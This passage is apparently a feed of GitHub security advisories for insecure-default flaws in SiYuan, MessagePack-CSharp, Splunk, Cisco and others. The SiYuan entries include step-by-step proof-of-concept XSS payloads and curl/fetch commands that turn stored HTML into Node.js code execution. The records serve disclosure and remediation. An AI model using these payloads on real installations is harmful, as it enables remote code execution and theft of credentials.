beyond keeping the kernel running:\n```js\n(async () =\u003e {\n const api = (path, body) =\u003e fetch(\u0027http://127.0.0.1:6806\u0027 + path, {\n method: \u0027POST\u0027, headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify(body)\n }).then(r =\u003e r.json());\n const nb = await api(\u0027/api/notebook/lsNotebooks\u0027, {});\n const id = (await api(\u0027/api/filetree/createDocWithMd\u0027, {\n notebook: nb.data.notebooks[0].id,\n path: \u0027/x\u0027 + Date.now(),\n markdown: \u0027trigger\u0027\n })).data;\n await api(\u0027/api/filetree/renameDocByID\u0027, {\n id,\n title: `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E`\n });\n})();\n```\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"k\":\"trigger me\"}\u0027 \\\n | python -c \u0027import sys,json; r=json.load(sys.stdin)[\"data\"]; print(r[0][\"id\"] if r else \"\")\u0027)\n[ -n \"$DOC_ID\" ] \u0026\u0026 curl -s -X POST $API/api/filetree/removeDocByID \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop**, triggered by hovering a search result (or any other `class=\"ariaLabel\"` element rendering attacker-controlled metadata).\n- **Doc titles are the most commonly-shared field** \u2014 recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.\n- Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot.\n- **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips \u2014 any element with `class=\"ariaLabel\"` and `aria-label=\"${escapeAriaLabel(...)}\"` reaches the same `popover.ts \u2192 tooltip.ts` chain.\n- **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `\u003c` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.",
"id": "GHSA-25rp-h46x-2hjm",
"modified": "2026-06-08T20:11:29Z",
"published": "2026-05-08T19:08:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-25rp-h46x-2hjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44588"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)"
}
GHSA-26X7-MR2M-X8M5
Vulnerability from github – Published: 2022-05-13 01:52 – Updated: 2022-05-13 01:52Installation tool IPDT (Intel Processor Diagnostic Tool) 4.1.0.24 sets permissions of installed files incorrectly, allowing for execution of arbitrary code and potential privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2018-3667"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-10T21:29:00Z",
"severity": "HIGH"
},
"details": "Installation tool IPDT (Intel Processor Diagnostic Tool) 4.1.0.24 sets permissions of installed files incorrectly, allowing for execution of arbitrary code and potential privilege escalation.",
"id": "GHSA-26x7-mr2m-x8m5",
"modified": "2022-05-13T01:52:34Z",
"published": "2022-05-13T01:52:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3667"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-29PX-FJQX-XH4F
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46A vulnerability in Cisco Elastic Services Controllers could allow an authenticated, remote attacker to log in to an affected system as the Linux root user, aka an Insecure Default Password Vulnerability. More Information: CSCvc76631. Known Affected Releases: 2.2(9.76).
{
"affected": [],
"aliases": [
"CVE-2017-6688"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-13T06:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco Elastic Services Controllers could allow an authenticated, remote attacker to log in to an affected system as the Linux root user, aka an Insecure Default Password Vulnerability. More Information: CSCvc76631. Known Affected Releases: 2.2(9.76).",
"id": "GHSA-29px-fjqx-xh4f",
"modified": "2022-05-13T01:46:45Z",
"published": "2022-05-13T01:46:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6688"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-esc4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98973"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2F33-PR97-265Q
Vulnerability from github – Published: 2026-06-25 18:52 – Updated: 2026-06-25 18:52Summary
The parameterless MessagePackInputFormatter() constructor uses default serializer options, which resolve to MessagePackSerializerOptions.Standard with MessagePackSecurity.TrustedData. The formatter is designed for ASP.NET Core MVC request bodies, which commonly cross an HTTP trust boundary.
This insecure default can expose applications to denial-of-service attacks that MessagePackSecurity.UntrustedData is intended to mitigate, such as hash-collision attacks against dictionary-like model properties.
Impact
Applications are affected when they register new MessagePackInputFormatter() without explicitly passing serializer options configured for untrusted data.
An unauthenticated or otherwise untrusted HTTP client can send MessagePack request bodies that are deserialized using the trusted-data posture. For models containing hash-based collections, this can enable algorithmic complexity attacks using colliding keys. The default constructor makes the unsafe posture easy to use at the exact boundary where request bodies should be treated as untrusted.
Affected components
- Package:
MessagePack.AspNetCoreMvcFormatter - API:
MessagePackInputFormatter()parameterless constructor - Scenario: ASP.NET Core MVC model binding from HTTP request bodies
- Finding IDs:
MESSAGEPACKCSHARP-OPEN-009, duplicateMESSAGEPACKCSHARP-095
Patches
Fixes are prepared and will be released in coordinated patch versions.
Upgrade guidance:
- Upgrade
MessagePack.AspNetCoreMvcFormatterto the patched version for your release line. - Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.
The fix should default the parameterless constructor to MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData), or require callers to pass explicit options so the trust posture is deliberate.
Workarounds
Do not use the parameterless constructor on affected versions. Register the formatter with explicit untrusted-data options, for example:
options.InputFormatters.Add(
new MessagePackInputFormatter(
MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData)));
Also apply normal HTTP request-size limits and model validation appropriate for your service.
Resources
MESSAGEPACKCSHARP-OPEN-009: MVC input formatter defaults to trusted-data security postureMESSAGEPACKCSHARP-095: duplicate finding for the same root cause- CWE-1188: Initialization of a Resource with an Insecure Default
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.301"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48509"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:52:46Z",
"nvd_published_at": "2026-06-22T22:16:47Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe parameterless `MessagePackInputFormatter()` constructor uses default serializer options, which resolve to `MessagePackSerializerOptions.Standard` with `MessagePackSecurity.TrustedData`. The formatter is designed for ASP.NET Core MVC request bodies, which commonly cross an HTTP trust boundary.\n\nThis insecure default can expose applications to denial-of-service attacks that `MessagePackSecurity.UntrustedData` is intended to mitigate, such as hash-collision attacks against dictionary-like model properties.\n\n## Impact\n\nApplications are affected when they register `new MessagePackInputFormatter()` without explicitly passing serializer options configured for untrusted data.\n\nAn unauthenticated or otherwise untrusted HTTP client can send MessagePack request bodies that are deserialized using the trusted-data posture. For models containing hash-based collections, this can enable algorithmic complexity attacks using colliding keys. The default constructor makes the unsafe posture easy to use at the exact boundary where request bodies should be treated as untrusted.\n\n## Affected components\n\n- Package: `MessagePack.AspNetCoreMvcFormatter`\n- API: `MessagePackInputFormatter()` parameterless constructor\n- Scenario: ASP.NET Core MVC model binding from HTTP request bodies\n- Finding IDs: `MESSAGEPACKCSHARP-OPEN-009`, duplicate `MESSAGEPACKCSHARP-095`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack.AspNetCoreMvcFormatter` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should default the parameterless constructor to `MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData)`, or require callers to pass explicit options so the trust posture is deliberate.\n\n## Workarounds\n\nDo not use the parameterless constructor on affected versions. Register the formatter with explicit untrusted-data options, for example:\n\n```csharp\noptions.InputFormatters.Add(\n new MessagePackInputFormatter(\n MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData)));\n```\n\nAlso apply normal HTTP request-size limits and model validation appropriate for your service.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-OPEN-009`: MVC input formatter defaults to trusted-data security posture\n- `MESSAGEPACKCSHARP-095`: duplicate finding for the same root cause\n- CWE-1188: Initialization of a Resource with an Insecure Default",
"id": "GHSA-2f33-pr97-265q",
"modified": "2026-06-25T18:52:46Z",
"published": "2026-06-25T18:52:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-2f33-pr97-265q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48509"
},
{
"type": "PACKAGE",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MessagePack-CSharp: ASP.NET Core MessagePackInputFormatter defaults to TrustedData for HTTP request bodies"
}
GHSA-2FGH-WJ5R-JJC6
Vulnerability from github – Published: 2026-10-07 21:33 – Updated: 2026-10-07 21:33In Splunk Enterprise versions below 10.4.3, 10.2.7, and 10.0.10, a low-privileged user that does not hold the "admin" or "power" Splunk roles could retrieve original source code for the Discover Splunk Observability Cloud app through Splunk Web. The vulnerability is possible because production JavaScript bundles for the app contain embedded source maps that include original source code. For more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), Splunk Observability Cloud previews (https://help.splunk.com/en/splunk-enterprise/search/search-manual/10.4/observability/splunk-observability-cloud-previews), and Navigating Splunk Web (https://help.splunk.com/en/splunk-enterprise/search/search-tutorial/10.4/part-1-getting-started/navigating-splunk-web) in the Splunk documentation.
Splunk Enterprise versions 9.4.x are not affected.
{
"affected": [],
"aliases": [
"CVE-2026-76276"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-07T21:17:18Z",
"severity": "MODERATE"
},
"details": "In Splunk Enterprise versions below 10.4.3, 10.2.7, and 10.0.10, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles could retrieve original source code for the Discover Splunk Observability Cloud app through Splunk Web. The vulnerability is possible because production JavaScript bundles for the app contain embedded source maps that include original source code. For more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.4/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), Splunk Observability Cloud previews (https://help.splunk.com/en/splunk-enterprise/search/search-manual/10.4/observability/splunk-observability-cloud-previews), and Navigating Splunk Web (https://help.splunk.com/en/splunk-enterprise/search/search-tutorial/10.4/part-1-getting-started/navigating-splunk-web) in the Splunk documentation.\n\nSplunk Enterprise versions 9.4.x are not affected.",
"id": "GHSA-2fgh-wj5r-jjc6",
"modified": "2026-10-07T21:33:31Z",
"published": "2026-10-07T21:33:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76276"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-1001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2GQ4-362C-56W9
Vulnerability from github – Published: 2026-06-19 21:32 – Updated: 2026-06-19 21:32Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-50519"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-19T21:17:02Z",
"severity": "MODERATE"
},
"details": "Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.",
"id": "GHSA-2gq4-362c-56w9",
"modified": "2026-06-19T21:32:48Z",
"published": "2026-06-19T21:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50519"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50519"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2H64-C999-C9R6
Vulnerability from github – Published: 2026-05-08 16:53 – Updated: 2026-06-08 20:11Summary
The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.
Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.
Details
Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:
attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView) // ← no html.EscapeString
Kernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:
const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw
Sink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):
<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;
Same pattern in kanban/render.ts:227 and gallery/render.ts:142.
Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:
response.data.attrViews.forEach((item: { id: string, name: string }) => {
avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span> `;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;
Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:
const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name") { nameHTML = `...${escapeHTML}...`; }
else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo") { memoHTML = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
// ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;
The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.
Renderer posture — RCE multiplier. app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true, webviewTag: true,
webSecurity: false, contextIsolation: false,
}
Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.
Suggested fix
kernel/model/attribute_view.go getAvNames(line 3283-3284): replace the twostrings.ReplaceAllcalls withtemplate.HTMLEscapeString(nodeAvName)for the${avName}substitution.transaction.ts:559: wrap withLute.EscapeHTMLStrto match siblings at lines 549-557.render.ts:120: useLute.EscapeHTMLStr(data.name)for bothdata-title=and the text content.Title.ts:396: escapeitem.nameviaLute.EscapeHTMLStranditem.idviaescapeAttr.- (Defense-in-depth) Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
Reproduction (copy-paste-ready)
Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at
~/SiYuanWorkspaceis initialized. Do not set an Access Authorization Code (default). - Verify the kernel responds:
sh curl -s http://127.0.0.1:6806/api/system/versionExpected output (single line of JSON):json {"code":0,"msg":"","data":"3.6.5"} - Pin shell variables for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
``
Expected: a 14-digit-timestamp +-7charsID like20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.
Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)
The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:
- Open SiYuan. In any document, type
/databaseand press Enter (or open the slash-command menu and pick Database). - The editor inserts an Attribute View block. The kernel writes a JSON file to
<workspace>/data/storage/av/<av-id>.json. -
Capture the AV ID — the most recently written file in that directory:
sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID"Expected: same 14-digit-timestamp +-7charsshape, e.g.20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read itsdata-av-idattribute.) -
Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's
data-node-idin DevTools (Ctrl+Shift+I). Set:sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV>
Step B — Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.
curl -s -X POST $API/api/transactions \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{
"session": "x",
"app": "siyuan",
"transactions": [{
"doOperations": [{
"action": "setAttrViewName",
"id": "$AV_ID",
"data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
}],
"undoOperations": []
}]
}
EOF
Expected response:
{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}
Step C — Verify the unescaped storage
python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"
Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):
<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">
Step D — Trigger
In the SiYuan desktop client:
- Switch away from the doc that contains the AV (open another doc, or close the tab).
- Re-open the doc containing the AV (
$DOC_ID). - The AV body header is rendered via
genTabHeaderHTML→outerHTMLatapp/src/protyle/render/av/render.ts:596. The browser parses the<img>tag, fails to loadsrc=x, and firesonerror. - Calculator (or
xcalc/open -a Calculator) launches.
If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():
// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
session: 'x', app: 'siyuan',
transactions: [{ doOperations: [{
action: 'setAttrViewName',
id: '<av-id-discovered-via-prior-recon-fetches>',
data: `<img src=x onerror="require('child_process').exec('xcalc')">`
}] }]
})
});
The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.
Cleanup
# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json
# Restart SiYuan to clear in-memory state
Impact
- RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
- Persistent — payload survives restart, syncs across devices, rides in
.sy.zipexports and Bazaar templates. - Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
- After RCE: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json— kernel API token + AccessAuthCode hash), persistence (.bashrc/ Startup folder / LaunchAgent), cloud-account pivot. - Attack vectors: browser extensions (
chrome-extension://Origin allowlisted); shared.sy.zipfiles; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.0-20260421031503-96dfe0bea474"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260512140701-d7b77d945e0d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44670"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T16:53:18Z",
"nvd_published_at": "2026-05-14T19:16:38Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` \u2192 `outerHTML`, `Title.ts:401` \u2192 `innerHTML`, `transaction.ts:559` \u2192 `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.\n\nPayload is stored on disk under `data/storage/av/\u003cid\u003e.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.\n\n## Details\n\n**Kernel write \u2014 no escape.** `kernel/model/attribute_view.go:3244-3255`:\n```go\nattrView.Name = strings.TrimSpace(operation.Data.(string))\nattrView.Name = strings.ReplaceAll(attrView.Name, \"\\n\", \" \")\nif 512 \u003c utf8.RuneCountInString(attrView.Name) {\n attrView.Name = gulu.Str.SubStr(attrView.Name, 512)\n}\nerr = av.SaveAttributeView(attrView) // \u2190 no html.EscapeString\n```\n\n**Kernel template \u2014 raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:\n```go\nconst attrAvNameTpl = `\u003cspan data-av-id=\"${avID}\" ... class=\"popover__block\"\u003e${avName}\u003c/span\u003e`\n// ...\ntpl := strings.ReplaceAll(attrAvNameTpl, \"${avID}\", nodeAvID)\ntpl = strings.ReplaceAll(tpl, \"${avName}\", nodeAvName) // \u2190 raw\n```\n\n**Sink #1 \u2014 AV body header \u2192 outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):\n```ts\n\u003cdiv contenteditable=\"${editable}\" ... data-title=\"${data.name || \"\"}\" ...\u003e${data.name || \"\"}\u003c/div\u003e\n// ...\ne.firstElementChild.outerHTML = `\u003cdiv class=\"av__container\"\u003e${genTabHeaderHTML(...)}...\u003c/div\u003e`;\n```\nSame pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.\n\n**Sink #2 \u2014 Doc title attribute strip \u2192 innerHTML.** `app/src/protyle/header/Title.ts:396-403`:\n```ts\nresponse.data.attrViews.forEach((item: { id: string, name: string }) =\u003e {\n avTitle += `\u003cspan data-av-id=\"${item.id}\" ... class=\"popover__block\"\u003e${item.name}\u003c/span\u003e\u0026nbsp;`;\n});\nnodeAttrHTML += `\u003cdiv class=\"protyle-attr--av\"\u003e...${avTitle}\u003c/div\u003e`;\nthis.element.querySelector(\".protyle-attr\").innerHTML = nodeAttrHTML;\n```\n\n**Sink #3 \u2014 WebSocket `updateAttrs` push \u2192 innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:\n```ts\nconst escapeHTML = Lute.EscapeHTMLStr(data.new[key]);\nif (key === \"bookmark\") { bookmarkHTML = `...${escapeHTML}...`; }\nelse if (key === \"name\") { nameHTML = `...${escapeHTML}...`; }\nelse if (key === \"alias\") { aliasHTML = `...${escapeHTML}...`; }\nelse if (key === \"memo\") { memoHTML = `...${escapeHTML}...`; }\nelse if (key === \"custom-avs\" \u0026\u0026 data.new[\"av-names\"]) {\n avHTML = `\u003cdiv class=\"protyle-attr--av\"\u003e...${data.new[\"av-names\"]}\u003c/div\u003e`;\n // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above\n}\n// ...\nattrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;\n```\nThe four sibling cases use `Lute.EscapeHTMLStr` \u2014 proving the team knows the right pattern; only `av-names` was missed.\n\n**Renderer posture \u2014 RCE multiplier.** `app/electron/main.js:407-411`:\n```js\nwebPreferences: {\n nodeIntegration: true, webviewTag: true,\n webSecurity: false, contextIsolation: false,\n}\n```\n\n**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == \"\"`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.\n\n## Suggested fix\n\n1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.\n2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.\n3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.\n4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.\n5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## 